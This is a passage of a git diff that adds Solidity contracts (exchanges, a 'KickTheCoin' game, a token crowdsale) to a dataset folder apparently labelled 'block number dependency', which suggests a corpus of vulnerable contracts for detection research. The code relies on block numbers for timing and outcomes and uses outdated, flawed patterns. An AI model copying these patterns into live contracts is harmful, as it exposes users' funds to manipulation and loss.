tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user); + event Cancel(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s); + event Trade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, address get, address give); + event Deposit(address token, address user, uint amount, uint balance); + event Withdraw(address token, address user, uint amount, uint balance); + + function AZExchange(address admin_, address feeAccount_, address accountLevelsAddr_, uint feeMake_, uint feeTake_, uint feeRebate_) { + admin = admin_; + feeAccount = feeAccount_; + accountLevelsAddr = accountLevelsAddr_; + feeMake = feeMake_; + feeTake = feeTake_; + feeRebate = feeRebate_; + } + + function() { + throw; + } + + function changeAdmin(address admin_) { + if (msg.sender != admin) throw; + admin = admin_; + } + + function changeAccountLevelsAddr(address accountLevelsAddr_) { + if (msg.sender != admin) throw; + accountLevelsAddr = accountLevelsAddr_; + } + + function changeFeeAccount(address feeAccount_) { + if (msg.sender != admin) throw; + feeAccount = feeAccount_; + } + + function changeFeeMake(uint feeMake_) { + if (msg.sender != admin) throw; + feeMake = feeMake_; + } + + function changeFeeTake(uint feeTake_) { + if (msg.sender != admin) throw; + if (feeTake_ < feeRebate) throw; + feeTake = feeTake_; + } + + function changeFeeRebate(uint feeRebate_) { + if (msg.sender != admin) throw; + if (feeRebate_ > feeTake) throw; + feeRebate = feeRebate_; + } + + function deposit() payable { + tokens[0][msg.sender] = safeAdd(tokens[0][msg.sender], msg.value); + Deposit(0, msg.sender, msg.value, tokens[0][msg.sender]); + } + + function withdraw(uint amount) { + if (tokens[0][msg.sender] < amount) throw; + tokens[0][msg.sender] = safeSub(tokens[0][msg.sender], amount); + if (!msg.sender.call.value(amount)()) throw; + Withdraw(0, msg.sender, amount, tokens[0][msg.sender]); + } + + function depositToken(address token, uint amount) { + + if (token==0) throw; + if (!Token(token).transferFrom(msg.sender, this, amount)) throw; + tokens[token][msg.sender] = safeAdd(tokens[token][msg.sender], amount); + Deposit(token, msg.sender, amount, tokens[token][msg.sender]); + } + + function withdrawToken(address token, uint amount) { + if (token==0) throw; + if (tokens[token][msg.sender] < amount) throw; + tokens[token][msg.sender] = safeSub(tokens[token][msg.sender], amount); + if (!Token(token).transfer(msg.sender, amount)) throw; + Withdraw(token, msg.sender, amount, tokens[token][msg.sender]); + } + + function balanceOf(address token, address user) constant returns (uint) { + return tokens[token][user]; + } + + function order(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce) { + bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce); + orders[msg.sender][hash] = true; + Order(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, msg.sender); + } + + function trade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount) { + + bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce); + if (!( + (orders[user][hash] || ecrecover(sha3("\x19Ethereum Signed Message:\n32", hash),v,r,s) == user) && + block.number <= expires && + safeAdd(orderFills[user][hash], amount) <= amountGet + )) throw; + tradeBalances(tokenGet, amountGet, tokenGive, amountGive, user, amount); + orderFills[user][hash] = safeAdd(orderFills[user][hash], amount); + Trade(tokenGet, amount, tokenGive, amountGive * amount / amountGet, user, msg.sender); + } + + function tradeBalances(address tokenGet, uint amountGet, address tokenGive, uint amountGive, address user, uint amount) private { + uint feeMakeXfer = safeMul(amount, feeMake) / (1 ether); + uint feeTakeXfer = safeMul(amount, feeTake) / (1 ether); + uint feeRebateXfer = 0; + if (accountLevelsAddr != 0x0) { + uint accountLevel = AccountLevels(accountLevelsAddr).accountLevel(user); + if (accountLevel==1) feeRebateXfer = safeMul(amount, feeRebate) / (1 ether); + if (accountLevel==2) feeRebateXfer = feeTakeXfer; + } + tokens[tokenGet][msg.sender] = safeSub(tokens[tokenGet][msg.sender], safeAdd(amount, feeTakeXfer)); + tokens[tokenGet][user] = safeAdd(tokens[tokenGet][user], safeSub(safeAdd(amount, feeRebateXfer), feeMakeXfer)); + tokens[tokenGet][feeAccount] = safeAdd(tokens[tokenGet][feeAccount], safeSub(safeAdd(feeMakeXfer, feeTakeXfer), feeRebateXfer)); + tokens[tokenGive][user] = safeSub(tokens[tokenGive][user], safeMul(amountGive, amount) / amountGet); + tokens[tokenGive][msg.sender] = safeAdd(tokens[tokenGive][msg.sender], safeMul(amountGive, amount) / amountGet); + } + + function testTrade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount, address sender) constant returns(bool) { + if (!( + tokens[tokenGet][sender] >= amount && + availableVolume(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, user, v, r, s) >= amount + )) return false; + return true; + } + + function availableVolume(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s) constant returns(uint) { + bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce); + if (!( + (orders[user][hash] || ecrecover(sha3("\x19Ethereum Signed Message:\n32", hash),v,r,s) == user) && + block.number <= expires + )) return 0; + uint available1 = safeSub(amountGet, orderFills[user][hash]); + uint available2 = safeMul(tokens[tokenGive][user], amountGet) / amountGive; + if (available1 uint) shares; + + event LatestKicker(uint curGameIndex, address kicker, uint curVal, uint targetBlockNum); + event FirstKicker(uint curGameIndex, address kicker, uint curVal); + event SecondKicker(uint curGameIndex, address kicker, uint curVal); + event Withdraw(address kicker, uint curVal); + event Winner(uint curGameIndex, address winner, uint curVal); + + modifier onlyBy(address _account) + { + require(msg.sender == _account); + _; + } + + modifier onlyByOwnerAndOnlyIfGameIsNotActive() { + require(msg.sender == owner && !isGameActive()); + _; + } + + modifier onlyDuringNormalOperations() { + require(!isSundown); + _; + } + + function KickTheCoin() + public + payable + { + creator = msg.sender; + owner = creator; + houseAddress = creator; + airDroper = creator; + gameIndex = 0; + isSundown = false; + costToKickTheCoin = 0.17 ether; + numberOfBlocksPerKick = 5; + initGame(); + } + + function() + public + payable + { + kickTheCoin(); + } + + function kickTheCoin() + public + payable + onlyDuringNormalOperations() + { + require(msg.value == costToKickTheCoin); + + if (hasWinner()) { + storeWinnerShare(); + initGame(); + } + + kickerCount += 1; + processKick(); + lastPlayerToKickTheCoin = msg.sender; + targetBlockNumber = block.number + numberOfBlocksPerKick; + + LatestKicker(gameIndex, msg.sender, currentValue, targetBlockNumber); + } + + function withdrawShares() + public + { + if (hasWinner()) { + storeWinnerShare(); + initGame(); + } + pullShares(msg.sender); + } + + function checkShares(address shareHolder) + public + constant + returns (uint) + { + return shares[shareHolder]; + } + + function isGameActive() + public + constant + returns (bool) + { + return targetBlockNumber >= block.number; + } + + function hasWinner() + public + constant + returns (bool) + { + return currentValue > 0 && !isGameActive(); + } + + function getCurrentValue() + public + constant + returns (uint) + { + if (isGameActive()) { + return currentValue; + } else { + return 0; + } + } + + function getLastKicker() + public + constant + returns (address) + { + if (isGameActive()) { + return lastPlayerToKickTheCoin; + } else { + return address(0); + } + } + + function pullShares(address shareHolder) + public + { + var share = shares[shareHolder]; + if (share == 0) { + return; + } + + shares[shareHolder] = 0; + shareHolder.transfer(share); + Withdraw(shareHolder, share); + } + + function airDrop(address player) + public + payable + onlyBy(airDroper) + { + player.transfer(1); + if (msg.value > 1) { + msg.sender.transfer(msg.value - 1); + } + } + + function getTargetBlockNumber() + public + constant + returns (uint) + { + return targetBlockNumber; + } + + function getBlocksLeftInCurrentKick() + public + constant + returns (uint) + { + if (targetBlockNumber < block.number) { + return 0; + } + return targetBlockNumber - block.number; + } + + function getNumberOfBlocksPerKick() + public + constant + returns (uint) + { + return numberOfBlocksPerKick; + } + + function getCostToKick() + public + constant + returns (uint) + { + return costToKickTheCoin; + } + + function getCurrentBlockNumber() + public + constant + returns (uint) + { + return block.number; + } + + function getGameIndex() + public + constant + returns (uint) + { + return gameIndex; + } + + function changeOwner(address _newOwner) + public + onlyBy(owner) + { + owner = _newOwner; + } + + function changeHouseAddress(address _newHouseAddress) + public + onlyBy(owner) + { + houseAddress = _newHouseAddress; + } + + function changeAirDroper(address _airDroper) + public + onlyBy(owner) + { + airDroper = _airDroper; + } + + function changeGameParameters(uint _costToKickTheCoin, uint _numberOfBlocksPerKick) + public + onlyByOwnerAndOnlyIfGameIsNotActive() + { + costToKickTheCoin = _costToKickTheCoin; + numberOfBlocksPerKick = _numberOfBlocksPerKick; + } + + function sundown() + public + onlyByOwnerAndOnlyIfGameIsNotActive() + { + isSundown = true; + sundownGraceTargetBlock = block.number + 100000; + } + + function gameIsSundown() + public + constant + returns (bool) + { + return isSundown; + } + + function getSundownGraceTargetBlock() + public + constant + returns (uint) + { + return sundownGraceTargetBlock; + } + + function sunrise() + public + onlyByOwnerAndOnlyIfGameIsNotActive() + { + isSundown = false; + sundownGraceTargetBlock = 0; + } + + function clear() + public + { + if (isSundown && + sundownGraceTargetBlock != 0 && + sundownGraceTargetBlock < block.number) { + houseAddress.transfer(this.balance); + } + } + + function initGame() + private + { + gameIndex += 1; + targetBlockNumber = 0; + currentValue = 0; + kickerCount = 0; + firstKicker = address(0); + secondKicker = address(0); + lastPlayerToKickTheCoin = address(0); + } + + function storeWinnerShare() + private + { + var share = currentValue; + currentValue = 0; + shares[lastPlayerToKickTheCoin] += share; + if (share > 0) { + Winner(gameIndex, lastPlayerToKickTheCoin, share); + } + } + + function setShares() + private + { + + shares[houseAddress] += (msg.value * 10)/1000; + + shares[firstKicker] += (msg.value * 25)/1000; + + shares[secondKicker] += (msg.value * 15)/1000; + } + + function processKick() + private + { + if (kickerCount == 1) { + currentValue = msg.value; + firstKicker = msg.sender; + FirstKicker(gameIndex, msg.sender, currentValue); + } else if (kickerCount == 2) { + currentValue += msg.value; + secondKicker = msg.sender; + SecondKicker(gameIndex, msg.sender, currentValue); + } else { + + + currentValue += (msg.value * 950)/1000; + setShares(); + } + } +} + + +contract WithdrawFromKickTheCoin { + address public owner; + address public ktcAddress; + bool public ktcAddressIsSet; + + function WithdrawFromKickTheCoin() + public + { + owner = msg.sender; + ktcAddressIsSet = false; + } + + function setKtcAddress(address _ktcAddress, bool isImmutable) + public + { + require(!ktcAddressIsSet); + ktcAddressIsSet = isImmutable; + ktcAddress = _ktcAddress; + } + + function getKtcAddress() + public + constant + returns (address) + { + return ktcAddress; + } + + function getOwner() + public + constant + returns (address) + { + return owner; + } + + function release() + public + { + owner.transfer(this.balance); + } + + function() + public + { + KickTheCoin ktc = KickTheCoin(ktcAddress); + ktc.pullShares(msg.sender); + } +} + + +contract KickTheCoinFactory { + + address[] public games; + address[] public founders; + + mapping(address => address[]) founderToCreatedGames; + mapping(address => uint) gameToBlockCreated; + mapping(address => address) gameToWithdraw; + + address public admin; + address public coldAdmin = 0x46937732313A6c856354f4E5Ea012DfD10186B9A; + uint public costToCreateGame; + bool public isDisabled; + + event GameCreated(address founder, address _game, address _withdraw, uint _costToKickTheCoin, uint _numberOfBlocksPerKick); + + function KickTheCoinFactory() { + admin = msg.sender; + isDisabled = false; + } + + function createGame(uint _costToKickTheCoin, uint _numberOfBlocksPerKick) + public + payable + { + require(!isDisabled); + + if (costToCreateGame > 0) { + require(msg.value == costToCreateGame); + } + + if (msg.value > 0) { + admin.transfer(msg.value); + } + + KickTheCoin _game = new KickTheCoin(); + _game.changeGameParameters(_costToKickTheCoin, _numberOfBlocksPerKick); + games.push(_game); + if (founderToCreatedGames[msg.sender].length == 0) { + founders.push(msg.sender); + } + founderToCreatedGames[msg.sender].push(_game); + + WithdrawFromKickTheCoin _withdraw = new WithdrawFromKickTheCoin(); + _withdraw.setKtcAddress(_game, true); + gameToWithdraw[_game] = _withdraw; + + gameToBlockCreated[_game] = block.number; + GameCreated(msg.sender, _game, _withdraw, _costToKickTheCoin, _numberOfBlocksPerKick); + } + + function setDisabled(bool _isDisabled) + { + require(msg.sender == admin); + isDisabled = _isDisabled; + } + + function setCostToCreateGame(uint _costToCreateGame) + public + { + require(msg.sender == admin); + costToCreateGame = _costToCreateGame; + } + + function setAdmin(address _newAdmin) + public + { + require(msg.sender == admin || msg.sender == coldAdmin); + admin = _newAdmin; + } + + function getFoundersGames(address _founder) + public + constant + returns (address[]) + { + return founderToCreatedGames[_founder]; + } + + function getWithdraw(address _game) + public + constant + returns(address _withdraw) + { + _withdraw = gameToWithdraw[_game]; + } + + function getInfo() + constant + returns ( + address[] _games, + address[] _founders, + address _admin, + uint _costToCreateGame, + bool _isDisabled + ) + { + _games = games; + _isDisabled = isDisabled; + _admin = admin; + _costToCreateGame = costToCreateGame; + _founders = founders; + } + + function() + payable + { + admin.transfer(msg.value); + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/block number dependency/2963.sol b/smart_contract_dataset/block number dependency/2963.sol new file mode 100644 index 0000000000000000000000000000000000000000..6db5b1abaea32ff7ac932374faf049993e00db52 --- /dev/null +++ b/smart_contract_dataset/block number dependency/2963.sol @@ -0,0 +1,170 @@ +pragma solidity ^0.4.23; + +contract IMDEX { + bytes32 public standard; + bytes32 public name; + bytes32 public symbol; + uint256 public totalSupply; + uint8 public decimals; + bool public allowTransactions; + mapping (address => uint256) public balanceOf; + mapping (address => mapping (address => uint256)) public allowance; + + function transfer(address _to, uint256 _value)public returns (bool success); + function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success); + function approve(address _spender, uint256 _value) public returns (bool success); + function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); +} + +contract SafeMath { + + function safeMul(uint256 a, uint256 b) internal pure returns (uint256 c) { + if (a == 0) { + return 0; + } + c = a * b; + assert(c / a == b); + return c; + } + + + function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) { + + + + return a / b; + } + + function safeSub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + function safeAdd(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } + +} + + +contract IMDEXDexchange is SafeMath { + + address public owner; + address IMDEXtoken = 0x46705E8fef2E868FACAFeDc45F47114EC01c2EEd; + mapping (address => uint256) public invalidOrder; + event SetOwner(address indexed previousOwner, address indexed newOwner); + modifier onlyOwner { + require(msg.sender == owner); + _; + } + + function IMDEXsetOwner(address newOwner)public onlyOwner { + emit SetOwner(owner, newOwner); + owner = newOwner; + } + + function IMDEXinvalidateOrdersBefore(address user, uint256 nonce) public onlyAdmin { + require(nonce > invalidOrder[user]); + invalidOrder[user] = nonce; + } + + mapping (address => mapping (address => uint256)) public tokens; + mapping (address => bool) public admins; + mapping (address => uint256) public lastActiveTransaction; + address public feeAccount; + uint256 public inactivityReleasePeriod; + event Trade(address tokenBuy, uint256 amountBuy, address tokenSell, uint256 amountSell, address get, address give); + event Deposit(address token, address user, uint256 amount, uint256 balance); + event Withdraw(address token, address user, uint256 amount, uint256 balance); + + function IMDEXsetInactivityReleasePeriod(uint256 expiry) public onlyAdmin returns (bool success) { + require(expiry < 1000000); + inactivityReleasePeriod = expiry; + return true; + } + + constructor(address feeAccount_) public { + owner = msg.sender; + feeAccount = feeAccount_; + inactivityReleasePeriod = 100000; + } + + function IMDEXsetAdmin(address admin, bool isAdmin) public onlyOwner { + admins[admin] = isAdmin; + } + + modifier onlyAdmin { + require(msg.sender == owner && admins[msg.sender]); + _; + } + + function() external { + revert(); + } + + + + function IMDEXdepositToken(address token, uint256 amount) public { + tokens[token][msg.sender] = safeAdd(tokens[token][msg.sender], amount); + lastActiveTransaction[msg.sender] = block.number; + require(IMDEX(token).transferFrom(msg.sender, this, amount)); + emit Deposit(token, msg.sender, amount, tokens[token][msg.sender]); + } + + function IMDEXdeposit() public payable { + tokens[address(0)][msg.sender] = safeAdd(tokens[address(0)][msg.sender], msg.value); + lastActiveTransaction[msg.sender] = block.number; + emit Deposit(address(0), msg.sender, msg.value, tokens[address(0)][msg.sender]); + } + + function IMDEXwithdrawToken(address token, uint256 amount) public returns (bool) { + require(safeSub(block.number, lastActiveTransaction[msg.sender]) > inactivityReleasePeriod); + require(tokens[token][msg.sender] > amount); + tokens[token][msg.sender] = safeSub(tokens[token][msg.sender], amount); + if (token == address(0)) { + msg.sender.transfer(amount); + } else { + require(IMDEX(token).transfer(msg.sender, amount)); + } + emit Withdraw(token, msg.sender, amount, tokens[token][msg.sender]); + } + + function IMDEXadminWithdraw(address token, uint256 amount, address user, uint256 feeWithdrawal) public onlyAdmin returns (bool) { + if (feeWithdrawal > 50 finney) feeWithdrawal = 50 finney; + require(tokens[token][user] > amount); + tokens[token][user] = safeSub(tokens[token][user], amount); + tokens[token][feeAccount] = safeAdd(tokens[token][feeAccount], safeMul(feeWithdrawal, amount) / 1 ether); + amount = safeMul((1 ether - feeWithdrawal), amount) / 1 ether; + if (token == address(0)) { + user.transfer(amount); + } else { + require(IMDEX(token).transfer(user, amount)); + } + lastActiveTransaction[user] = block.number; + emit Withdraw(token, user, amount, tokens[token][user]); + } + + function balanceOf(address token, address user) public constant returns (uint256) { + return tokens[token][user]; + } + + function IMDEXtrade(uint256[8] X, address[4] Y) public onlyAdmin returns (bool) { + + + require(invalidOrder[Y[2]] < X[3]); + if (X[6] > 100 finney) X[6] = 100 finney; + if (X[7] > 100 finney) X[7] = 100 finney; + require(tokens[Y[0]][Y[3]] > X[4]); + require(tokens[Y[1]][Y[2]] > (safeMul(X[1], X[4]) / X[0])); + tokens[Y[0]][Y[3]] = safeSub(tokens[Y[0]][Y[3]], X[4]); + tokens[Y[0]][Y[2]] = safeAdd(tokens[Y[0]][Y[2]], safeMul(X[4], ((1 ether) - X[6])) / (1 ether)); + tokens[Y[0]][feeAccount] = safeAdd(tokens[Y[0]][feeAccount], safeMul(X[4], X[6]) / (1 ether)); + tokens[Y[1]][Y[2]] = safeSub(tokens[Y[1]][Y[2]], safeMul(X[1], X[4]) / X[0]); + tokens[Y[1]][Y[3]] = safeAdd(tokens[Y[1]][Y[3]], safeMul(safeMul(((1 ether) - X[7]), X[1]), X[4]) / X[0] / (1 ether)); + tokens[Y[1]][feeAccount] = safeAdd(tokens[Y[1]][feeAccount], safeMul(safeMul(X[7], X[1]), X[4]) / X[0] / (1 ether)); + lastActiveTransaction[Y[2]] = block.number; + lastActiveTransaction[Y[3]] = block.number; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/block number dependency/2977.sol b/smart_contract_dataset/block number dependency/2977.sol new file mode 100644 index 0000000000000000000000000000000000000000..af15be63c1352af6887f3a8f79ab23603947d6e1 --- /dev/null +++ b/smart_contract_dataset/block number dependency/2977.sol @@ -0,0 +1,1108 @@ +pragma solidity ^0.4.24; + +contract TokenInfo { + + uint256 public constant PRIVATESALE_BASE_PRICE_IN_WEI = 200000000000000; + uint256 public constant PRESALE_BASE_PRICE_IN_WEI = 600000000000000; + uint256 public constant ICO_BASE_PRICE_IN_WEI = 800000000000000; + uint256 public constant FIRSTSALE_BASE_PRICE_IN_WEI = 200000000000000; + + + uint256 public constant MIN_PURCHASE_OTHERSALES = 80000000000000000; + uint256 public constant MIN_PURCHASE = 1000000000000000000; + uint256 public constant MAX_PURCHASE = 1000000000000000000000; + + + + uint256 public constant PRESALE_PERCENTAGE_1 = 10; + uint256 public constant PRESALE_PERCENTAGE_2 = 15; + uint256 public constant PRESALE_PERCENTAGE_3 = 20; + uint256 public constant PRESALE_PERCENTAGE_4 = 25; + uint256 public constant PRESALE_PERCENTAGE_5 = 35; + + uint256 public constant ICO_PERCENTAGE_1 = 5; + uint256 public constant ICO_PERCENTAGE_2 = 10; + uint256 public constant ICO_PERCENTAGE_3 = 15; + uint256 public constant ICO_PERCENTAGE_4 = 20; + uint256 public constant ICO_PERCENTAGE_5 = 25; + + + + uint256 public constant PRESALE_LEVEL_1 = 5000000000000000000; + uint256 public constant PRESALE_LEVEL_2 = 10000000000000000000; + uint256 public constant PRESALE_LEVEL_3 = 15000000000000000000; + uint256 public constant PRESALE_LEVEL_4 = 20000000000000000000; + uint256 public constant PRESALE_LEVEL_5 = 25000000000000000000; + + uint256 public constant ICO_LEVEL_1 = 6666666666666666666; + uint256 public constant ICO_LEVEL_2 = 13333333333333333333; + uint256 public constant ICO_LEVEL_3 = 20000000000000000000; + uint256 public constant ICO_LEVEL_4 = 26666666666666666666; + uint256 public constant ICO_LEVEL_5 = 33333333333333333333; + + + uint256 public constant PRIVATESALE_TOKENCAP = 18750000; + uint256 public constant PRESALE_TOKENCAP = 18750000; + uint256 public constant ICO_TOKENCAP = 22500000; + uint256 public constant FIRSTSALE_TOKENCAP = 5000000; + uint256 public constant LEDTEAM_TOKENS = 35000000; + uint256 public constant TOTAL_TOKENCAP = 100000000; + + uint256 public constant DECIMALS_MULTIPLIER = 1 ether; + + address public constant LED_MULTISIG = 0x865e785f98b621c5fdde70821ca7cea9eeb77ef4; +} + + +contract Ownable { + address public owner; + + + + constructor() public { + owner = msg.sender; + } + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + function transferOwnership(address newOwner) public onlyOwner { + if (newOwner != address(0)) { + owner = newOwner; + } + } + +} + + +contract Pausable is Ownable { + event Pause(); + event Unpause(); + + bool public paused = false; + + constructor() public {} + + + modifier whenNotPaused() { + require(!paused); + _; + } + + + modifier whenPaused { + require(paused); + _; + } + + + function pause() public onlyOwner whenNotPaused returns (bool) { + paused = true; + emit Pause(); + return true; + } + + + function unpause() public onlyOwner whenPaused returns (bool) { + paused = false; + emit Unpause(); + return true; + } +} + +contract ApproveAndCallReceiver { + function receiveApproval(address from, uint256 _amount, address _token, bytes _data) public; +} + + +contract Controllable { + address public controller; + + + + constructor() public { + controller = msg.sender; + } + + + modifier onlyController() { + require(msg.sender == controller); + _; + } + + + function transferControl(address newController) public onlyController { + if (newController != address(0)) { + controller = newController; + } + } + +} + + +contract ControllerInterface { + + function proxyPayment(address _owner) public payable returns(bool); + function onTransfer(address _from, address _to, uint _amount) public returns(bool); + function onApprove(address _owner, address _spender, uint _amount) public returns(bool); +} + + +contract ERC20 { + + uint256 public totalSupply; + + function balanceOf(address _owner) public constant returns (uint256); + function transfer(address _to, uint256 _value) public returns (bool); + function transferFrom(address _from, address _to, uint256 _amount) public returns (bool); + function approve(address _spender, uint256 _amount) public returns (bool); + function allowance(address _owner, address _spender) public constant returns (uint256); + + event Transfer(address indexed from, address indexed to, uint256 value); + event Approval(address indexed owner, address indexed spender, uint256 value); + +} + +contract Crowdsale is Pausable, TokenInfo { + + using SafeMath for uint256; + + LedTokenInterface public ledToken; + uint256 public startTime; + uint256 public endTime; + + uint256 public totalWeiRaised; + uint256 public tokensMinted; + uint256 public totalSupply; + uint256 public contributors; + uint256 public surplusTokens; + + bool public finalized; + + bool public ledTokensAllocated; + address public ledMultiSig = LED_MULTISIG; + + + + + + bool public started = false; + + event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); + event NewClonedToken(address indexed _cloneToken); + event OnTransfer(address _from, address _to, uint _amount); + event OnApprove(address _owner, address _spender, uint _amount); + event LogInt(string _name, uint256 _value); + event Finalized(); + + + + + + + + + + + + + + + + + + + function forwardFunds() internal { + ledMultiSig.transfer(msg.value); + } + + + + function validPurchase() internal constant returns (bool) { + uint256 current = now; + bool presaleStarted = (current >= startTime || started); + bool presaleNotEnded = current <= endTime; + bool nonZeroPurchase = msg.value != 0; + return nonZeroPurchase && presaleStarted && presaleNotEnded; + } + + + function totalSupply() public constant returns (uint256) { + return ledToken.totalSupply(); + } + + + function balanceOf(address _owner) public constant returns (uint256) { + return ledToken.balanceOf(_owner); + } + + + function changeController(address _newController) public onlyOwner { + require(isContract(_newController)); + ledToken.transferControl(_newController); + } + + function enableMasterTransfers() public onlyOwner { + ledToken.enableMasterTransfers(true); + } + + function lockMasterTransfers() public onlyOwner { + ledToken.enableMasterTransfers(false); + } + + function forceStart() public onlyOwner { + started = true; + } + + + + function isContract(address _addr) constant internal returns(bool) { + uint size; + if (_addr == 0) + return false; + assembly { + size := extcodesize(_addr) + } + return size>0; + } + + modifier whenNotFinalized() { + require(!finalized); + _; + } + +} + +contract FirstSale is Crowdsale { + + uint256 public tokenCap = FIRSTSALE_TOKENCAP; + uint256 public cap = tokenCap * DECIMALS_MULTIPLIER; + uint256 public weiCap = tokenCap * FIRSTSALE_BASE_PRICE_IN_WEI; + + constructor(address _tokenAddress, uint256 _startTime, uint256 _endTime) public { + + + startTime = _startTime; + endTime = _endTime; + ledToken = LedTokenInterface(_tokenAddress); + + assert(_tokenAddress != 0x0); + assert(_startTime > 0); + assert(_endTime > _startTime); + } + + + function() public payable { + buyTokens(msg.sender); + } + + + function buyTokens(address _beneficiary) public payable whenNotPaused whenNotFinalized { + require(_beneficiary != 0x0); + require(validPurchase()); + + uint256 weiAmount = msg.value; + require(weiAmount >= MIN_PURCHASE && weiAmount <= MAX_PURCHASE); + uint256 priceInWei = FIRSTSALE_BASE_PRICE_IN_WEI; + totalWeiRaised = totalWeiRaised.add(weiAmount); + + uint256 tokens = weiAmount.mul(DECIMALS_MULTIPLIER).div(priceInWei); + tokensMinted = tokensMinted.add(tokens); + require(tokensMinted < cap); + + contributors = contributors.add(1); + + ledToken.mint(_beneficiary, tokens); + emit TokenPurchase(msg.sender, _beneficiary, weiAmount, tokens); + forwardFunds(); + } + + function getInfo() public view returns(uint256, uint256, string, bool, uint256, uint256, uint256, + bool, uint256, uint256){ + uint256 decimals = 18; + string memory symbol = "LED"; + bool transfersEnabled = ledToken.transfersEnabled(); + return ( + TOTAL_TOKENCAP, + decimals, + symbol, + transfersEnabled, + contributors, + totalWeiRaised, + tokenCap, + started, + startTime, + endTime + ); + } + + function finalize() public onlyOwner { + require(paused); + require(!finalized); + surplusTokens = cap - tokensMinted; + ledToken.mint(ledMultiSig, surplusTokens); + ledToken.transferControl(owner); + + emit Finalized(); + + finalized = true; + } + +} + +contract LedToken is Controllable { + + using SafeMath for uint256; + LedTokenInterface public parentToken; + TokenFactoryInterface public tokenFactory; + + string public name; + string public symbol; + string public version; + uint8 public decimals; + + uint256 public parentSnapShotBlock; + uint256 public creationBlock; + bool public transfersEnabled; + + bool public masterTransfersEnabled; + address public masterWallet = 0x865e785f98b621c5fdde70821ca7cea9eeb77ef4; + + + struct Checkpoint { + uint128 fromBlock; + uint128 value; + } + + Checkpoint[] totalSupplyHistory; + mapping(address => Checkpoint[]) balances; + mapping (address => mapping (address => uint)) allowed; + + bool public mintingFinished = false; + bool public presaleBalancesLocked = false; + + uint256 public totalSupplyAtCheckpoint; + + event MintFinished(); + event NewCloneToken(address indexed cloneToken); + event Approval(address indexed _owner, address indexed _spender, uint256 _amount); + event Transfer(address indexed from, address indexed to, uint256 value); + + + + + constructor( + address _tokenFactory, + address _parentToken, + uint256 _parentSnapShotBlock, + string _tokenName, + string _tokenSymbol + ) public { + tokenFactory = TokenFactoryInterface(_tokenFactory); + parentToken = LedTokenInterface(_parentToken); + parentSnapShotBlock = _parentSnapShotBlock; + name = _tokenName; + symbol = _tokenSymbol; + decimals = 18; + transfersEnabled = false; + masterTransfersEnabled = false; + creationBlock = block.number; + version = '0.1'; + } + + + + function totalSupply() public constant returns (uint256) { + return totalSupplyAt(block.number); + } + + + function totalSupplyAt(uint256 _blockNumber) public constant returns(uint256) { + + + + + + if ((totalSupplyHistory.length == 0) || (totalSupplyHistory[0].fromBlock > _blockNumber)) { + if (address(parentToken) != 0x0) { + return parentToken.totalSupplyAt(min(_blockNumber, parentSnapShotBlock)); + } else { + return 0; + } + + + } else { + return getValueAt(totalSupplyHistory, _blockNumber); + } + } + + + function balanceOf(address _owner) public constant returns (uint256 balance) { + return balanceOfAt(_owner, block.number); + } + + + function balanceOfAt(address _owner, uint256 _blockNumber) public constant returns (uint256) { + + + + + + if ((balances[_owner].length == 0) || (balances[_owner][0].fromBlock > _blockNumber)) { + if (address(parentToken) != 0x0) { + return parentToken.balanceOfAt(_owner, min(_blockNumber, parentSnapShotBlock)); + } else { + + return 0; + } + + + } else { + return getValueAt(balances[_owner], _blockNumber); + } + } + + + function transfer(address _to, uint256 _amount) public returns (bool success) { + return doTransfer(msg.sender, _to, _amount); + } + + + function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) { + require(allowed[_from][msg.sender] >= _amount); + allowed[_from][msg.sender] -= _amount; + return doTransfer(_from, _to, _amount); + } + + + function approve(address _spender, uint256 _amount) public returns (bool success) { + require(transfersEnabled); + + + require((_amount == 0) || (allowed[msg.sender][_spender] == 0)); + + allowed[msg.sender][_spender] = _amount; + emit Approval(msg.sender, _spender, _amount); + return true; + } + + + function approveAndCall(address _spender, uint256 _amount, bytes _extraData) public returns (bool success) { + approve(_spender, _amount); + + ApproveAndCallReceiver(_spender).receiveApproval( + msg.sender, + _amount, + this, + _extraData + ); + + return true; + } + + + function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { + return allowed[_owner][_spender]; + } + + + function doTransfer(address _from, address _to, uint256 _amount) internal returns(bool) { + + if (msg.sender != masterWallet) { + require(transfersEnabled); + } else { + require(masterTransfersEnabled); + } + + require(_amount > 0); + require(parentSnapShotBlock < block.number); + require((_to != address(0)) && (_to != address(this))); + + + + uint256 previousBalanceFrom = balanceOfAt(_from, block.number); + require(previousBalanceFrom >= _amount); + + + + updateValueAtNow(balances[_from], previousBalanceFrom - _amount); + + + + uint256 previousBalanceTo = balanceOfAt(_to, block.number); + require(previousBalanceTo + _amount >= previousBalanceTo); + updateValueAtNow(balances[_to], previousBalanceTo + _amount); + + + emit Transfer(_from, _to, _amount); + return true; + } + + + + function mint(address _owner, uint256 _amount) public onlyController canMint returns (bool) { + uint256 curTotalSupply = totalSupply(); + uint256 previousBalanceTo = balanceOf(_owner); + + require(curTotalSupply + 